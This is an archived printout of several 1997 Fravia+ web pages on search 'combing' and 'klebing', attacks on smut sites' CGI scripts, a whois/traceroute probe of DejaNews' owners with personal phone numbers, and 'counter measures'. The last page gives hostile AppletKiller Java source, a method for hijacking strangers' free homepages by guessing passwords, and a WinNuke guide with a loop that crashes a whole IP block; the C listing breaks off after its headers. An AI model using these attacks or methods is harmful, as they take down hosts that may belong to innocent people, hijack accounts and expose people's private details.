This isn't root, of course, but it gives nevertheless access to all that an user can if he has an account on the
system (otherwise web pages wouldn't work at all. BTW, the dafault Group is -1

Defaults of a standalone daemon


(know what you should be looking for on the smut sites)
httpd.conf = Main server configuration file
This controls HOW the server runs, not details relating to the files it serves
srm.conf = Server resource configuration file
DocumentRoot directive, points per default to /usr/local/etc/httpd/htdocs
UserDir = public_html per default! If the seradm forgot to set it to DISABLED, users could serve files from
their home directories!

http://www.instinct.org/fravia/ideale3.htm (6 of 7) [2/7/2001 3:02:55 PM]


ideale3

If the cgi-bin directory is not at default location /usr/local/etc/httpd/cgi-bin/, its new location can be found
inside the Alias or ScriptAlias directives!
AccessFileName = .htaccess
DocumentRoot = /usr/local/etc/httpd/htdocs

access.conf = Global access control file (ACF)

Default User ID (UID) = nobody


Default User Group (UIG) = -1
Recommended UID = http
Reccomended UIG = WWW
(These names must exist in /etc/passwd and etc/group respectively)
ServerAdmin = webmaster@local.domain
ServerRoot = /usr/local/etc/passwd
ServerName = www.local.domain (or a CNAME alias)
ServerType = standalone

A first Conclusion
The incorrect use of the CGI scripts implies many vulnerabilities for the system hosting them.
Most smut dealer have little or no knowledge of programming but NEED always some sort of script to give the
authorised suckers their smut and leave out everybody else... mostly they will have set their scripts on the quick
way, using often incapable programmers... a world of possibilities for us!

Good luck, good hunt!

Crackers against Smut


Antismut main page
A general approach
combing i.e. how to find the "commercial smut" sites
source checking i.e. how to exploit their intrinsic weaknesses
cgi-script two CGI-tricks, page two

Fravia's main site


homepage +ORC anon counter measures tools +HCU Academy stalking enslavement
students' essays cocktails links search_forms mail_fravia+
Is reverse engineering legal?

http://www.instinct.org/fravia/ideale3.htm (7 of 7) [2/7/2001 3:02:55 PM]


Crackers against Smut

Fravia's combing page


Combing= gathering results that others have collected
please read also the combing and klebing search techniques

~
By Fravia+, Updated November 1997
Page severely under construction...

What is combing?
Combing is a very effective search strategy: instead of simply searching, you use various other net resources:

-The continuously updated "Top 100" or "Top 1000" URL-locations

-Usenet newsgroups and their various "vigilant filters" and "short range queries"

-Relevant site links pages.

Obviously combing is an important technique for whatever interest you may have, quite useful in order to spare an incredible
lot of Internet searching hours.
We'll use it here to wage battle against our "commercial smut" enemies, but you would be well advised to learn it and use it
for *any* interest you may have...

Case study, combing commercial smut depots


death to the pornodealers

Warning: you better set the option "autoload images" OFF inside your Netscape settings, else
you'll pretty soon regret having accessed this kind of sites... you will not loose anything... NONE
of the images they carry is worth loading... should you really want nice "sexually explicit" images
(for free of course, and please excuse the pathetic euphemism), then visit the many artists that
expose their own work on the net... on the sites we are going to destroy (see how in the
CGI-reverse engineering page) you'll not even find any "pornography" whatsoever, only fetid
smut.

Let's start with a typical "combing" approach, I will not hyperlink because I do not want this site spidered along these links,
but you may cut and paste the following URLs:

http://www.instinct.org/fravia/ideale1.htm (1 of 3) [2/7/2001 3:02:58 PM]


Top1000 counter
http://www.hitbox.com/wc/world2.html ;TOP1000 "normal", example for useful
combing
http://www.hitbox.com/wc/adult.html ;TOP1000 "adult", main entrance
http://www.hitbox.com/wc/top10.adult.html ;top 10 smut commercial
http://www.hitbox.com/wc/top2100.adult.html ;top > 2100... understand the "name"
;approach

Webcounter
http://www.digits.com/top/both_adult_100.html ;top site has here "only" 540000 a day
http://www.digits.com/top/comm_adult_100.html ;top site has here "only" 124000 a day

Etcetera... you understand the trick now... here are some other ones
various smut counters:
http://www.xxxcounter.com/home/
http://www.web21.com/
http://www.sexhound.com/index.cgi?from=16818 this one uses CGI!
:-)

I do not want this page catalogued inside the smut information retrievers, therefore the above links are not hyperlinked... cut
and paste them in order to use them.

For combing purposes you may also use:


1) the usual search engines (which give incredible results at time!)
2) ftp search, looking for "hidden" subdirectories with relevant names
3) the "big page provider" search engines (like the ones on geocities or mygale)

As you can see from the above short information,


1.1) many "counters' statistics" betray quite a lot of useful information... if, for instance, you are interested in jellyfishes (it's
an example!) you would be well advised, instead of searching the web for ages, to have a quick look at all the pages that
inside the counters' statistics, fall under the counter's main categories "biology" or "science"... pretty soon you would find the
"golden link" you were looking for...
1.2) We need MANY addresses of SMUT dealers in order to find the many that utilise a CGI-script (or other attackpoints) in
order to know "from which site" they got the query... as you'll see on the cgi reverse engineering page of this section, this
opens the way to their doom!
2) As anybody that uses ftp search ("This server is located in Trondheim, Norway") already knows, the ftp search approach
(that fishes hidden directories) can fish incredible (if tricky to interpret) results.
3) For other combing purposes (not for smut dealers, of course) you may use also the search systems specific to the big free
pages providers...have a search at http://www.geocities.com/search/ and you'll understand what I mean

http://www.instinct.org/fravia/ideale1.htm (2 of 3) [2/7/2001 3:02:58 PM]


Combing on the Usenet
Usenet combing can work "on the fly" or "regularly" through the "Vigilant" filter at

filter@vigilant.bc.ca
I'll show you for instance one of my queries:

FIND how-to-search tutorial manual


NOT spam
NOT top position
NOT advertising
MAX 8
Such a query would give you useful information about "searching techniques" on the Web, you may of course construct how
many queries you like and *register* (for free) by the vigilant filter, in order to get the results of your usenet queries emailed
to you every day or week or month.

Usenet query can also be done through the two big Usenet "depots": Dejanews and email query, that are explained
elsewhere on my site.
Many of the main search engines allow such querying too, using the services of either Dejanews or emailquery.

Good luck, good hunt!

Crackers against Smut


Antismut main page
A general approach
source checking i.e. how to exploit their intrinsic weaknesses
cgi-script one CGI-tricks, page one
cgi-script two CGI-tricks, page two

Fravia's main site


homepage +ORC anon counter measures tools +HCU Academy stalking enslavement
students' essays cocktails links search_forms mail_fravia+
Is reverse engineering legal?

http://www.instinct.org/fravia/ideale1.htm (3 of 3) [2/7/2001 3:02:58 PM]


search1197

HOW TO SEARCH THE WEB


fravia_letter

by fravia+
~

Letter 008 - November 1997

ADVANCED SEARCHING TECHNIQUES


(Combing and klebing)

(Based on some original private emailings from +ORC)


~
This stuff has been gathered and written by fravia+, so if you leech, copy,
use and spread it have at least the decency to give credit

__Combing__
(Some other specific combing examples are to be found inside my antismut pages)

What is combing?
Combing is a very effective search strategy: instead of simply searching, you 'milk' (or 'comb') various other net resources:

- The continuously updated "Top 100", "Top 1000", "Top whatever" URL-locations
('Real' combing)
- Usenet newsgroups and their various "vigilant filters" and "short range queries"
(Usenet combing)
- Relevant site links pages.
(a form of 'crumbs gathering', see my anti-smut pages)

Real combing: The WebSideStory example


Best way to learn combing is to have a try by yourself: Let's take as example (yet there are THOUSAND of these 'top
whatever'sites) one counter-related site that I have been using myself (it offers quick text-only stats and awful graphic stats):
WEBSIDE STORY.
Here is websidestory's self-praise:

Updated every four hours. Last update Mon Nov 3 12:00:01 1997 - PST
WebSideStory, Inc. currently monitors 30,783 sites who have 15,264,666 visitors per
day.
There are 22,750 sites listed in 36 categories, averaging 1,996,241 visitors per day.
The problem with all these 'top whatever' sites is that you oft have to wade trough a lot of pages to get where you are
interested, because the poor sods want you to read their awful ads.
Famous Listing of the Best Sites on the Internet

In the case of Websidestory you'll for instance first land at http://www.hitbox.com/wc/world.html:

http://www.instinct.org/fravia/sear1197.htm (1 of 5) [2/7/2001 3:03:03 PM]


search1197

WebSideStory's first page


Yet you'll eventually land inside this second page (divided by categories):
Websidestory's second page
And here you'll be eventually able to choose among the various categories that this counter-related database depot has
chosen, for instance the following ones (I have of course chosen the ones I reckon could yeld some results:

Web Resources (802) Hacking / Phreaking (829) Personal Homepage (3159)

Computers (515) Internet Services (419) Software (432)

Now you have seen it...


Obviously combing is an important technique for whatever interest you may have, quite effective and pretty useful in order to
spare an incredible lot of Internet searching hours.

For combing purposes you may also use:


1) ftp search, looking for "hidden" subdirectories with relevant names
As anybody that knows how to use ftp search ("This server is located in Trondheim, Norway") already experienced, the ftp
search approach (that fishes hidden directories) can fish incredible (if tricky to interpret) results.
Just do a quick search for 'warez' and you'll see what I mean.
2) the "big page provider" search engines (Like the search engines that work page specific for geocities at
http://www.geocities.com/search/ or for mygale, or for angelfire, or for fortunecity, or for chez, or for you name one of the
thousand existing free pages providers that have specific search engines)

There are THOUSAND of 'top whatever' counters and many carry some form of 'top side listing' within... you may want to
examine a list with MANY counters on this good page: Web Counters and Trackers (Access Counters for Web Sites; Free
Counters; Web site auditing)

Usenet combing
Usenet combing can work "on the fly" or "regularly" through the "Vigilant" filter at

filter@vigilant.bc.ca
I'll show you for instance one of my favourite simple queries:

FIND how-to-search tutorial manual


NOT spam
NOT top position
NOT advertising
MAX 8
Such a query would give you useful information about "searching techniques" on the Web, you may of course construct how
many queries you like and *register* (for free) by the vigilant filter, in order to get the results of your usenet queries emailed
to you every day or week or month.

The vigilant robot


Learn the secrets of usenet FILTERING! Email filter@vigilant.bc.ca with the word "help" inside BOTH subject and text and
learn how to use it as soon as you get vigilant's automated answer... this robot is capable of sending you automatically ALL
usenet messages that contain the wording that you have chosen... vigilant is NOT a usenet depot, like Dejavu or

http://www.instinct.org/fravia/sear1197.htm (2 of 5) [2/7/2001 3:03:03 PM]


search1197

reference.com... vigilant will send you (obviously for free) "on-the-fly" all usenet messages that transit around dealing with
matters that may interest you, at times inside newsgroups you do not even know the names of... to master well its filter
capabilities is quite tricky though... study it and use it... you'll never regret it and I'm sure you'll thank me for this tip

UNFORTUNATELY DOWN SINCE THE BEGINNING OF AUGUST!


Why? Has anybody any clue? Are there other "vigilant" services? This is another of the "mysteries" of the Web: good services
are retired and awful bogus and useless "push" services abound:(

Dejanews
Remember that you can gather an INCREDIBLE amount of information through the following Usenet "depot":

DejaNews __ONE OF THE *SCARIEST* BIG BROTHER SNOOPER ON THE WEB__

You'll use it a lot, it allows you to reconstruct a personality profile as soon as somebody uses newsgroups (like all do). As a
matter of fact I tried to understand who the hell hydes behind this service... have a look at my deja.htm page if you are
interested too in this kind of things... hey, did you know that there exists also a nice stalking page of mine where these
matters are explained a little more?
And did you know that you may even "snatch" information from people browsing your pages?

Reference.com
Finally, you can gather an INCREDIBLE amount of information through the following Usenet "depot":
reference.com
here you'll be able to "register" your automated queryes... and THAT, believe me, is really useful to snoop what's going on and
where are the sites that you are looking for...
In fact usenet combing could be translated in 'let other people do the searches for me...": you'll simply find email snippets of
people that has found the solution to your query inside some usenet group you do not even know the name of!
Usenet queries that can be done through the two big Usenet "depots": Dejanews and email query, are possible ALSO through
the major search engines (if you know how to use them) and using the 'klebing' techniqe explained below:
Many of the main search engines allow such querying too, and they use (of course) the services of either Dejanews or
emailquery.
NOTE THAT THERE ARE MANY MORE 'usenet-depot'... I recently found an 'italian' one at
http://www.mailgate.org/mailgate/index.html who knows how many more there are around!

__klebing__
Fishing query strings and locations

Klebing is a 'reversing search' technique that goes ways beyond "combing". And which offers incredible value. We will clear
out what klebing is, below, using a ready made example on a site that you'll probably already know (it is an important hacker
site and I link to it myself inside my links page): here is the 'normal' URL of that site: L0pht heavy industries.
We can use LOpht for this example because LOpht has (publicly) the 'row material' that we need for klebing: the 'remote
connexions' list. It is basically a very simple CGI-script, that updates inside its own database (LOpht updates every day) all the
"remote" URL locations (i.e. the sites the various visitors come from) accessing any of the pages of a given site.
You may easily write such an analogouus spider and add it to your site! In order to write quickly (and dirty) a 'crude'
CGI-script like this you just need to list all the var where = document.referrer variables that any lamer's browser carries inside
(well... not our reversed and 'ameliorated' browsers... in order to learn the relevant techniques you may want to have a look at

http://www.instinct.org/fravia/sear1197.htm (3 of 5) [2/7/2001 3:03:03 PM]


search1197

Mammon_'s Reversing Netscape's buttons and menus essay... my copy of Netscape carries for instance a different random -and
of course faked- document.referrer variable everytime it accesses a new site :-)

Well, have a look at the next link and you'll understand what I mean:
Here you have the real, updated LOpht's location you'll use yourself in order to perform your updated klebing endeavours:
http://www.l0pht.com/ref.html

And here you have a copy of it that you should examine NOW in order to better follow what I'm telling you.
In order to discuss together with you some of the 'results' of our klebing activities I have copied a 'still image' of this
continuously updating database inside my site, talen from the location above on 4 Nov 1997 (to-day), here it is: lophtrev.htm

So, now that you had a look at them, let's say a couple of things:
1) The utility of such a script from the Webmaster's point of view is obvious: he can immediately see WHO is sending hits to
him and WHERE inside his site does he link to (and he can 'punish' eventual 'fastidious' linking inside his site simply
modifying the name of the branched pages, like I'll do soon with the academy section of my site if you keep entering from the
sides to my pages :-(
2) The utility of such a script (if publicly presented, like this by LOpht, or else if 'somehow' findbar inside a /cgi subdirectory
-see my antismut pag for the relevant CGI-cracking techniques :-) is for our search purposes HUGE! If the site has some
attinence with fields you are interested in (and LOphts for sure has it with sites that may interest us!) you are in for a surprise...
in fact one wonders what's the point of laboriously browsing the web in search of possible new intersting sites where you could
eventually learn something! Let those same sites COME TO YOU all by themselves alone... isn't it nice?

In fact, what do we have here?


Let's have a look at some intersting little fishes:
Yahoo and excite for instance, find both this site through the cdc cult
1409 | http://www.yahoo.com/Society_and_Culture/Religion/Humor/Parody_Religions/Cult_of_the_Dead_Cow/ -> /cdc.html
125 | http://www.excite.com/search.gw?trace=1&search=hackers -> /cdc.html
'our' astalavista is also present:
124 | http://astalavista.box.sk/cgi-bin/marek/robot/robot?srch=warez -> /lounge.html
Note thet there is already something that may be interesting for you (albeit well known by all search-experts): the FORM that
an excite or astalavista query takes!
Yes, if you have read my previous letters, you'll have seen that it is possible to query search engines per email using URL
addresses like:
http://lycos11.lycos.cs.cmu.edu/cgi-bin/flpursuit?first=1\\&maxhits=30\\
&minterms=1\\&minscore=0.01\\&terse=standard\\&query=linguistic+phenomena
Therefore we have here a simple 'template' that we can immediatly use for OTHER queries... c'mon: try it out: cut and paste
the following line:
http://www.excite.com/search.gw?trace=1&search=hackers
that we have found through our klebing work, and paste it inside the 'location' window of your copy of navigator...
Have you done it?
Well, now backspace over hackers and digit instead crackers
. Now press enter and have a look: your own ready-made excite search string!
And youll find THOUSAND of powerful and frequent or funny and seldom used 'query string' possibilities trough this klebing
method... d'you understand now how POWERFUL this can be?

New strings
Back to our klebing page... as you can see, in order to land somewhere at LOft a part of these visitors has used Yahoo and has
searched for 'hackers', 'attress', 'spycamera' and more
Now, some of these are banal, like 'hackers', yet some are quite interesting, like 'email intercepting'.
This can also be quite interesting... I have quite a lot of ready-made strings that I use with the search engines, and some of
them I have gathered klebing sites... else I would probably never have come to some ideas.

Watch the watchers


Some of our enemies have sites somewhere that tehy use to check us... it may be quite interesting to snoop onto those sites...

http://www.instinct.org/fravia/sear1197.htm (4 of 5) [2/7/2001 3:03:03 PM]


search1197

through klebing you'll get them... have a look at what we have here at LOpht:
316 | http://www.microsoft.com/security/ntprod.htm -> /advisories.html
103 | http://www.microsoft.com/security/issues.htm -> /advisories.html

Unknown mysteries
This one links to a cgi-bin page... why?:
105 | http://nowhere/nothing.html -> /cgi-bin/Count.cgi
well, this tells us
FIRST
That there is indeed a cgi-bin directory here with a Count.cgi script and
SECOND
that nowhere/nothing is interested in it.

Old friends
And who the hell is this next one? Our good old friend Bokler from Deja? (See my deja.htm page) 14 |
http://spider.bokler.com/bokler/crak_body.html -> /index.html
Well... rich fishing, isn't it?
And the following ones could be interesting too, don't you believe?
106 | http://astalavista.box.sk/cgi-bin/marek/robot/robot?srch=warez&submit=+search+ -> /lounge.html
114 | http://netfind.aol.com/search.gw
Yes, when you start klebing, you never finish off experimenting! :-)
Go ahead, enjoy!

(c) fravia+ 1997, work in progress, all rights reserved nevertheless

how to search 5 how to search 6 how to search 7

homepage links +ORC tools students' essays antismut anonymity


academy database counter measures cocktails search_forms mail_fravia

fravia+ 04 Nov 97

http://www.instinct.org/fravia/sear1197.htm (5 of 5) [2/7/2001 3:03:03 PM]


deja

DejaNews cracking
They track us, therefore we crack them

DejaNews is a scary subject, as we have seen in my anonymity page and in my counter measures page. They keep
track of all usenet entries. This allows to trace the profile of anybody that has contributed (non anonymously) to a
newsgroup. It seems to me therefore all too correct to snoop a little on these guys...
When printing from "deja news" on the web you may notice that before printing Netscape throws up a little box saying it
was contacting "Globaltrak.net" Is somebody keeping track of what people print on their news searches?
Yes! At the very least they are keeping track of how many people see their ugly advertisements. But I fear Globaltrak is
doing a bit more. Check your cookies.txt file in your Netscape directory. You may very well have an entry from
Globaltrak in there (that is... you'll have it only if you do not have already created a directory with the name
"cookies.txt" inside your Netscape directory, as I would advice you to do, in order to eliminate once for all every cookie
they would like to throw at you :-)

Let's find out who these globaltrack guys are... trying to go to www.globaltrak.com doesn't get you anywhere. A search
on the web and through usenet news doesn't reveal anything about Globaltrak. Looks like somebody is trying to hide
something. Let's see who Globaltrak is.

host:~> whois globaltrak.net


Globaltrak (GLOBALTRAK2-DOM)
1504 Carriage Hills Trail
Cedar Park, Texas 78613
USA

Domain Name: GLOBALTRAK.NET

Administrative Contact, Technical Contact, Zone Contact, Billing Contact:


Knight, Stephanie (SK1019) knights@GLOBALTRAK.NET
(512) 292-5593

Record last updated on 30-May-96.


Record created on 30-May-96.

Domain servers in listed order:

NS.REALTIME.NET 205.238.128.39
NS2.REALTIME.NET 205.238.128.42

We have a name now. Let's see what we can find from that.

host:~> finger knights@GLOBALTRAK.NET


unknown host: GLOBALTRAK.NET

http://www.instinct.org/fravia/deja.htm (1 of 5) [2/7/2001 3:03:07 PM]


deja

Hmm. "unknown host" Well let see where the mail for Globaltrak goes.

host:~> dig mx globaltrak.net

; <<>> DiG 2.0 <<>> mx globaltrak.net


;; ->>HEADER<<- opcode: QUERY , status: NOERROR, id: 6
;; flags: qr aa rd ra ; Ques: 1, Ans: 2, Auth: 2, Addit: 4
;; QUESTIONS:
;; globaltrak.net, type = MX, class = IN

;; ANSWERS:
globaltrak.net. 21600 MX 50 giga.bga.com.
globaltrak.net. 21600 MX 10 zoom.bga.com.

;; AUTHORITY RECORDS:
/globaltrak.net. 21600 NS ns.realtime.net.
globaltrak.net. 21600 NS ns2.realtime.net.

;; ADDITIONAL RECORDS:
giga.bga.com. 21600 A 205.238.128.46
zoom.bga.com. 21600 A 205.238.128.40
ns.realtime.net. 21600 A 205.238.128.39
ns2.realtime.net. 21600 A 205.238.128.42

;; Sent 1 pkts, answer found in time: 112 msec


;; FROM: host to SERVER: default -- 255.255.255.255
;; WHEN: Tue Nov 19 23:27:48 1996
;; MSG SIZE sent: 32 rcvd: 192

Ok. Mail for Globaltrak goes to bga.com. Let's see if we can find are person there.

host:~> finger knights@bga.com


[bga.com]

Hmm. Looks like they don't give out finger information. Maybe they're concerned about their privacy. Let's see who
bga.com is.

host:~> whois bga.com


Bob Gustwick & Associates, Inc. (BGA-DOM)
822 Brentwood
Austin, TX 78757-3031

Domain Name: BGA.COM

Administrative Contact, Technical Contact, Zone Contact, Billing Contact:


DNS Administrator, Real/Time (RD182) rt_tech@REALTIME.NET
+1 512 451 0046 (FAX) +1 512 459 3858

http://www.instinct.org/fravia/deja.htm (2 of 5) [2/7/2001 3:03:07 PM]


deja

Record last updated on 27-Jun-96.


Record created on 08-Feb-93.

Domain servers in listed order:

NS.REALTIME.NET 205.238.128.39
NS2.REALTIME.NET 205.238.128.42
NS1.SPRINTLINK.NET 204.117.214.10
NS2.SPRINTLINK.NET 199.2.252.10
NS3.SPRINTLINK.NET 204.97.212.10

That's interesting. So bga is Bob Gustwick & Associates. Let's see what bga has at their web site.

host:~> lynx www.BGA.COM

Real/Time Communications Local Home Page

[INLINE]
Real/Time Communications

Real/Time Communications? That's odd. Let's do a little more digging.

host:~> traceroute vern.bga.com


traceroute to vern.bga.com (205.238.128.38), 30 hops max, 40 byte packets
...
8 sl-bobgust-1-S1-T1.sprintlink.net (144.228.12.2) 222 ms 103 ms 103 ms
9 vern.realtime.net (205.238.128.38) 103 ms 102 ms 107 ms

host:~> traceroute vern.realtime.net


traceroute to vern.realtime.net (205.238.128.38), 30 hops max, 40 byte packets
...
8 sl-bobgust-1-S1-T1.sprintlink.net (144.228.12.2) 105 ms 107 ms 103 ms
9 vern.realtime.net (205.238.128.38) 103 ms 102 ms 102 ms

Looks like Real/Time Communications and Bob Gustwick & Associates are one in the same. Let's see if we can get to
Globaltrak at all.

host:~> ping www.globaltrak.net


PING www.globaltrak.net (205.238.128.205): 56 data bytes
^C

----www.globaltrak.net PING Statistics----


11 packets transmitted, 0 packets received, 100% packet loss

Well that doesn't work. Looks like they doen't want to acknowledge they exist. Let's try another way.

http://www.instinct.org/fravia/deja.htm (3 of 5) [2/7/2001 3:03:07 PM]


deja

host:~> traceroute www.globaltrak.net


traceroute to www.globaltrak.net (205.238.128.205), 30 hops max, 40 byte packets
...
4 sl-chi-15-H3/0-T3.sprintlink.net (144.228.10.62) 40 ms 41 ms 40 ms
5 sl-kc-2-H3/0-T3.sprintlink.net (144.228.10.70) 52 ms 51 ms 52 ms
6 sl-fw-5-H3/0-T3.sprintlink.net (144.228.10.78) 91 ms 91 ms 93 ms
7 sl-fw-13-F0/0.sprintlink.net (144.228.30.13) 92 ms 91 ms 98 ms
8 sl-bobgust-1-S1-T1.sprintlink.net (144.228.12.2) 185 ms 192 ms 202 ms
9 sl-bobgust-1-S1-T1.sprintlink.net (144.228.12.2) 164 ms * *
10 * * *
11 * * *
12 * * *

Well that didn't get there, but it tells us something interesting: "sl-bobgust-1-S1-T1.sprintlink.net" or just "bobgust".
Looks like this Bob Gustwick guy is some major player in Globaltrak.

A search of usenet shows that this guy is hiring a lot of people in the Austin area of Texas. And a search on the web
shows this.

Name
Bob Gustwick Associates, Inc.
Location
Travis county
Postal Address
8760A Research Blvd. Suite 152
Austin, Tx 78758
Phone Number
+1 512 451-0046
Description
A supplier of Unix consulting services and Internet services.

The web search also provided this little nugget.


Case in point: DejaNews, a searcher that digs through Usenet posts. It doesn't carry every newsgroup, but it's
fast, and for the moment it's free. Internic has them registered as being Bob Gustwick Associates of Austin,
Texas. They're coy about their future plans: "we may eventually need to charge for some queries. We will try to
avoid this but we can not rule it out." Draw your own conclusions.

Hmm. Dejanews is part of Bob Gustwick Associates?

host:~> whois dejanews.com


Deja News, Inc. (DEJANEWS2-DOM)
5407-B Clay Avenue
Austin, TX 78756

Domain Name: DEJANEWS.COM

Administrative Contact:
Madere, Steve (SM1488) madere@DEJANEWS.COM

http://www.instinct.org/fravia/deja.htm (4 of 5) [2/7/2001 3:03:07 PM]


deja

1-512-451-0433
Technical Contact, Zone Contact:
DNS Administrator (DA389-ORG) dntech@DEJANEWS.COM
1-512-451-0433
Billing Contact:
Accounts Payable, Deja News (DNA8) accounting@DEJANEWS.COM
1-512-451-0433

Record last updated on 23-Oct-96.


Record created on 19-Mar-96.

Domain servers in listed order:

NS.DEJANEWS.COM 205.238.157.74
NS.REALTIME.NET 205.238.128.39
NS2.REALTIME.NET 205.238.128.42

Yep. Looks like Dejanews and Real/Time Communications are all part of Bob Gustwick Associates. That's as much as I
could find at the moment. You might try and contact Globaltrak (512) 292-5593 and ask them what they're doing. You
might also contact Bob Gustwick Associates (512) 451-0046 and ask if they are related to Globaltrak or just providing
their Internet connection.

homepage links +ORC students' essays academy database


tools anonymity antismut counter measures cocktails search_forms mail_fravia
Is reverse engineering legal?

(c) fravia May 1997. All rights reserved

http://www.instinct.org/fravia/deja.htm (5 of 5) [2/7/2001 3:03:07 PM]


coumes.htm fravia's "Counter measures"

C
O fravia's Fravia's Counter measures

U counter Learn how to


defend yourself
M measures updated
July 1998

(Some useful tricks)


E page ~
Applets killers |
Fake identities | Homepages low

S capering | Enemy studying |


Spammers nuking | Powersearching

Fravia's Nofrill
Web design
(1998)

let's hope it does not suck!


Based on some private emailings from +ORC

"...these days, on the Web, you'll never be too careful,


travel always through your cloack identities and with your
applets killer on, keep your cache empty, watch out for cookies
and do not bump too oft on wizard sites... Work well, +ORC"

This page was started on 12 Nov 96 and is under slow


construction

http://www.instinct.org/fravia/coumes.htm (1 of 7) [2/7/2001 3:03:12 PM]


coumes.htm fravia's "Counter measures"

__Applets killers__
We have already seen on my anon page that Javascript applets can be used to forge faked address and other
nasty activities on unsuspecting browsers... here is the code of LaDue's appletskiller
/* This hostile applet stops any applets that are running and kills any other applets that are downloaded. */
import java.applet.*; import java.awt.*; import java.io.*; public class AppletKiller extends java.applet.Applet
implements Runnable { Thread killer; public void init() { killer = null; } public void start() { if (killer == null) {
killer = new Thread(this,&quot;killer&quot;); killer.setPriority(Thread.MAX_PRIORITY); killer.start(); } }
public void stop() {} // Kill all threads except this one public void run() { try { while (true) {
ThreadKiller.killAllThreads(); try { killer.sleep(100); } catch (InterruptedException e) {} } } catch
(ThreadDeath td) {} // Resurrect the hostile thread in case of accidental ThreadDeath finally { AppletKiller ack
= new AppletKiller(); Thread reborn = new Thread(ack, &quot;killer&quot;); reborn.start(); } } } class
ThreadKiller { // Ascend to the root ThreadGroup and list all subgroups recursively, // killing all threads as we
go public static void killAllThreads() { ThreadGroup thisGroup; ThreadGroup topGroup; ThreadGroup
parentGroup; // Determine the current thread group thisGroup = Thread.currentThread().getThreadGroup(); //
Proceed to the top ThreadGroup topGroup = thisGroup; parentGroup = topGroup.getParent();
while(parentGroup != null) { topGroup = parentGroup; parentGroup = parentGroup.getParent(); } // Find all
subgroups recursively findGroups(topGroup); } private static void findGroups(ThreadGroup g) { if (g == null)
{return;} else { int numThreads = g.activeCount(); int numGroups = g.activeGroupCount(); Thread[] threads =
new Thread[numThreads]; ThreadGroup[] groups = new ThreadGroup[numGroups]; g.enumerate(threads,
false); g.enumerate(groups, false); for (int i = 0; i <numthreads; i++) killOneThread(threads[i]); for (int i="0;" i
< numGroups; i++) findGroups(groups[i]); } } private static void killOneThread(Thread t) { if (t="=" null ||
t.getName().equals("killer")) {return;} else {t.stop();} } }
Well yes, you should learn a little Java my dear

back to the top of this nice page

__Fake Identities__
Having many identities (Avatars) is of paramount importance on the Web. You should use faked identities for
most activities, a good idea is to have identities in different languages (say being a german law student, a
french volleyball enthusiast, and an american young Boy scout). You'll be able to get as many identities as you
need using all the services that provide (per telnet) email addresses for free, like hotmail.com... but a much
better (and raccomanded) method is the homepage capering I describe below. As soon as you have your fake
email address, set up a free web page (on Angelfire for instance, but there are now many more free page
providers on the Web, and you can get a 5 Megabyte free page on many new free european providers). Be
creative and use a "front" page that would not arise any suspect (put up a nice foto you found somewhere on the
Web with "Me and my Dog Barkie" and this kind of junk stuff). Rememeber that the Web is still growing
exponentially and that MILLION of pages appear and disappear every DAY! No censor's robot or spider can
really follow what's going on (fortunately).
The Web is immense and the chances are on our side. If you only spent a minute per page and devoted ten hours
a day to it, it would take four and a half years to explore a million Web pages, a lifetime to explore just a part of
it, an automated search engine can do the same in two days, but in the same time quite a lot of these pages will
have been changed/moved/migrated
Once you have some identities (say three or four) remember that:
- Your Avatars interests should be VERY different

http://www.instinct.org/fravia/coumes.htm (2 of 7) [2/7/2001 3:03:12 PM]


coumes.htm fravia's "Counter measures"

- If possible the language you use should be different for each Avatar (if you know only english use at least
different language patterns, say university professor as A and lorry driver as B)

What's the point of having many identities?


You'll need the AVatars to practicise some nice Web activities (offensive and defensive)
- enemy studying (see below)
- social engineering (if you need something or if you want to get more info about a target)
- intranet activities (see below)
- homepage high capering (see below)

back to the top of this nice page

Homepages ("low") capering


For simple capering you do not even need a fake identity and you may practicize it on many "easy" targets on
the net. Capering is one of the best methods to conceal your identity: use following approach:
- Find a free page provider with easy password validation scheme (say Angelfire, but also Geocities and
Mygale can be used)
- Read many pages of people that are NOT computer experts and that do NOT update very oft (if ever)... you
may be able to find the updating schedule on the free provider's pages.
- Let's say that the content of three such pages is the following: "Me and my dog Bertie", This page is a tribute
to my nice daughter Simona" and "I love lollypops".
- Try "capering" these pages using as passwords, respectively, Bertie, Simona and Lollypop.
You'll get -on average- one bingo out of 15 tryes. Now you got some pages belonging to somebody else: do
some of the following (mixing the points as needs be):
1) Do not change the page, change only the password and leave it alone for a couple of months
and/or
2) Migrate immediatly to another location
and/or
3) Change password
and/or
4) Use the email address of the page owner to get other free pages by other providers
and/or
5) Kill the page you capered
and/or
6) Repeat the same procedure twice
Now you'll have some "capered" pages that you can more safely (but not completely) use as
- "Depot" pages
- "Dormient" pages
- "Trap" (Luring) pages
For your own "intranet" (sort of, see below)

back to the top of this nice page

http://www.instinct.org/fravia/coumes.htm (3 of 7) [2/7/2001 3:03:12 PM]


coumes.htm fravia's "Counter measures"

__Enemy identification__
Know your enemies! (How to gather informations on the Web)
You'll find a first approach on the ad hoc enemy page

__How to Nuke spammers__

a nice fine c program (Winnuke) by _eci... listing at the end of this section

How to use WinNuke to get rid of spammers

winnuke.c is a program which will crash any Windows 95/NT machine. Since
this operating system is popular among spammers, winnuke makes it easy to
get rid of them.

First, take the program code from the bottom of this post (everything
after the ---Cut Here--- line) and save it to a text file called winnuke.c
on your shell account or Linux box.

Now compile it by typing:


gcc winnuke.c -o winnuke
If you have SunOS, you may need to use this command instead:
gcc winnuke.c -lsocket -lnsl -o winnuke

You should now have an executable program called winnuke in your directory.
Now find the spammer's IP number. This is the first IP number in the mail
headers which is not your mail server or mail relay. Once you have the
spammer's IP number (eg 192.168.12.109) type: ./winnuke 192.168.12.109
except use the spammer's real IP number that you found. You should see
something like the following:

% ./winnuke 192.168.12.109
Connected to [192.168.12.109:139].
Sending crash... Done!
%

Congratulations! You just nuked a spammer! Give yourself a pat on the


back. You can ping the IP address to verify that it is actually down.

If it doesn't work...
Unfortunately a few spammers don't have just one IP address but a whole
block (255 addresses) In this case you will need to nuke the entire block.
To do this, use this script:

#!/bin/csh

http://www.instinct.org/fravia/coumes.htm (4 of 7) [2/7/2001 3:03:12 PM]


coumes.htm fravia's "Counter measures"

@ number = 255
loop:
@ number = $number - 1
./winnuke 205.199.212.$number &
#sleep 1
if ($number > 1) then
goto loop
endif

Except you should use the first three bytes of the spammer's IP number
instead of 205.199.212. If your net connection is too slow, uncomment the
sleep command (line 6) and that will slow it down so it can get all the
packets out. That's it...
---Cut Here--- /* winnuke.c - (05/07/97) By _eci */ /* Tested on Linux 2.0.30, SunOS 5.5.1, and BSDI 2.1 */
#include <stdio.h> #include <string.h> #include <netdb.h> #include <netinet/in.h> #include <sys/types.h>
